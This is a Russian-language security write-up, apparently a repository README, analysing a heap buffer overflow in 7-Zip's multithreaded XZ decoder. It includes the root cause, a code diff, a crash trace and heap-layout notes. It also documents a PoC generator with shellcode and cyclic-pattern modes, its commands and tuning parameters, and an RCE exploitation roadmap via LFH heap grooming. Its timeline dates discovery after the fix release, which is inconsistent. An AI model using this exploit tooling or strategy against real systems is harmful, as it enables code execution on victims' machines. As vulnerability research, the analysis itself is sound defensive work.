
7-Zip XZ Decoder Heap Buffer Overflow - полный анализ, первопричина, PoC и дорожная карта эксплуатации RCE
Критический уровень опасности | CVSS: 8.8 (High) | CWE-122: Переполнение буфера в куче
Затронуто: 7-Zip ≤ 26.01 | Исправлено: 7-Zip 26.02 (2026-06-25)
Обнаружено и проанализировано: Li Yuxuan (liyuxuan504-byte) и команда
Переполнение буфера в куче существует в многопоточном пути XZ-декодера в 7-Zip версий ≤ 26.01. Специально созданный архив .xz может вызвать запись за пределы выделенного в куче выходного буфера, что приводит к:
STATUS_ACCESS_VIOLATION (0xC0000005)Уязвимость находится в MixCoder_Code() в файле C/XzDec.c, где ветвь SingleBuf (outBuf) передаёт непроверенное значение destLen2 декодеру LZMA2 без ограничения его оставшейся ёмкостью буфера (outBufSize - outWritten).
Любая система или приложение, использующее уязвимую версию 7-Zip (или 7z.dll) для извлечения непроверенных файлов .xz, находится в зоне риска — многопоточный путь включён по умолчанию на многоядерных системах.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
Уязвимая версия (26.01) — C/XzDec.c, ~строка 606:
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
Исправленная версия (26.02) — C/XzDec.c, ~строка 605:
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
Исправление занимает 3 строки. Оно вычитает p->outWritten (байты, уже записанные в этот outBuf) из destLen2 перед передачей декодеру LZMA2, гарантируя, что декодер никогда не сможет записать за пределы выделенного буфера.
В однопоточном пути XzUnpacker_Code применяет собственное ограничение rem на основе unpackSize перед вызовом MixCoder_Code. Это ограничение корректно лимитирует выходные данные. Многопоточный путь SingleBuf обходит это ограничение, поскольку передаёт destLenOrig напрямую — вышестоящее ограничение неэффективно, когда destLen заранее установлен в полный оставшийся размер входных данных, а не в фактическую оставшуюся ёмкость буфера.
outBuf выделяется в CRT-куче через ISzAlloc_Alloc(allocMid, unpackSize):
unpackSize | Аллокатор | Возможность эксплуатации |
|---|
Наиболее перспективный подход к эксплуатации:
unpackSize (256–16384 байт), чтобы задействовать выделение через LFHnext в free-list LFH → получаете примитив произвольного выделения (arbitrary-alloc)| Возможность | Статус |
|---|
Обычные отладчики (x64dbg, WinDbg) изменяют поведение при создании процесса. Под отладчиком 7z.dll может вообще не использовать многопоточный путь декодирования XZ — процесс молча переключается на однопоточный режим, в котором уязвимость не срабатывает. Потребовался следующий подход:
tools/)poc/poc-cve-2026-14266-rce.py — полнофункциональный генератор XZ-эксплойтов:
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
Протестировано на: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00
Ключевой вывод: Все выделения в диапазоне LFH (≤16 KB) приводят к тихому переполнению — данные полезной нагрузки записываются на соседние объекты кучи без немедленного падения. Это необходимое условие для эксплуатации с целью RCE.
Из живой сессии x64dbg (7-Zip 26.00, путь MT):
Fault instruction: mov byte ptr [rcx], r11b
Fault address: msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx): 0x12363C50002 = outBuf_base + 0x40002
(2 bytes past the 0x40000-byte outBuf)
Decoder struct (rbx = 0x12363B0BB00):
+0x28: outBuf base = 0x12363C10000
+0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
+0x38: write cursor = 0x40000 (ALREADY FULL when overflow begins)
Call chain:
msvcrt!memcpy
← 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
← 7z.dll+0x1305D5
← 7z.dll+0x13071B (XZ multi-threaded decode entry)
← ntdll.dll+0x1D141 (thread start)
C/XzDec.c)7z x -mmt=1 <file.xz>0xC0000005 во время извлечения0xC0000374)unpackSize├── README.md ← This report
├── src-diff/
│ └── XzDec.diff.txt ← 26.01 vs 26.02 MixCoder_Code() diff
├── poc/
│ └── poc-cve-2026-14266-rce.py ← PoC generator (cyclic/shellcode/raw)
├── tools/
│ ├── 04-heap-analyze.ps1 ← x64dbg MCP automation for heap layout
│ ├── 05-mini-debugger.ps1 ← C# Win32 debug API mini-debugger
│ └── 06-guard-dump.ps1 ← Guard-page heap dumper (LFH analysis)
└── docs/
├── 01-crash-point-analysis.md ← Live crash trace (x64dbg)
├── 02-vulnerability-root-cause.md ← Full root cause analysis
└── 03-rce-exploit-plan.md ← RCE exploitation strategy
Данный отчёт предназначен исключительно для образовательных целей и защитных исследований в области безопасности. Код PoC предоставлен, чтобы помочь исследователям безопасности и специалистам по защите понять уязвимость и разработать средства обнаружения. Не используйте этот код против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.
| ≤ 16 KB | LFH (Low Fragmentation Heap) | ★ Лучший вариант для RCE — соседние объекты в одном bucket |
| 16–64 KB | Segment Heap (Backend) | Возможно — повреждение free-list |
| ≥ 64 KB | VirtualAlloc (выравнивание по страницам) | Только DoS — guard page перехватывает переполнение |
| DoS (падение) | ✅ Подтверждено, стабильно на 7-Zip 26.00 x64 |
| Тихое переполнение кучи (LFH) | ✅ Подтверждено — запись за пределы буфера, код выхода 2, без падения |
| Доставка управляемой полезной нагрузки | ✅ Полностью управляемо через данные LZMA2 copy-chunk |
| Примитивы компоновки кучи | ✅ Концепция доказана — требуется настройка раскладки под конкретную цель |
| Полная цепочка RCE | ❌ В работе — требуется анализ компоновки кучи на целевой системе |
| Параметр | Описание | Рекомендация |
|---|
--unpack-size | Заявленный unpackSize блока (= размер выделения outBuf) | 256–4096 для RCE через LFH |
--overflow | Общее количество байт для записи за пределы outBuf | 4096–32768 |
--chunk-size | Размер данных LZMA2 copy-chunk (1–65535) | Не должен делить unpackSize нацело! Используйте простое число (97) или --force-align-overflow |
--payload-cyclic | Циклический шаблон для поиска смещения | Используйте сначала, затем замените реальной полезной нагрузкой |
--payload-shellcode | Встраивание шеллкода Win x64 WinExec("calc.exe") | ~276 байт |
unpackSize | chunk_size | Переполнение | Результат |
|---|
| 256 KB (0x40000) | 4096 (выравнивание) | ~32 KB | 0xC0000005 — Access Violation (guard page) |
| 256 KB | 3 (исходный DoS) | ~30 KB | 0xC0000005 — Access Violation |
| 256 KB | 4096 | ~32 KB | 0xC0000374 — Обнаружено повреждение кучи |
| 256 B | 97 | ~1 KB | Код выхода 2 — Тихое переполнение! |
| 4 KB | 97 | ~16 KB | Код выхода 2 — Тихое переполнение! |
| 16 KB | 97 | ~32 KB | Код выхода 2 — Тихое переполнение! |
| Дата | Событие |
|---|
| 2026-07-24 | Уязвимость обнаружена и подтверждена на 7-Zip 26.00 |
| 2026-07-24 | Разработан PoC падения; живая отладка подтверждает переполнение кучи |
| 2026-07-24 | Выявлена первопричина: отсутствует destLen2 -= outWritten в MixCoder_Code |
| 2026-07-24 | Разработан генератор RCE PoC со стратегией эксплуатации через LFH |
| 2026-07-25 | Опубликован полный аналитический отчёт |
| 2026-06-25 | Выпущен 7-Zip 26.02 с исправлением |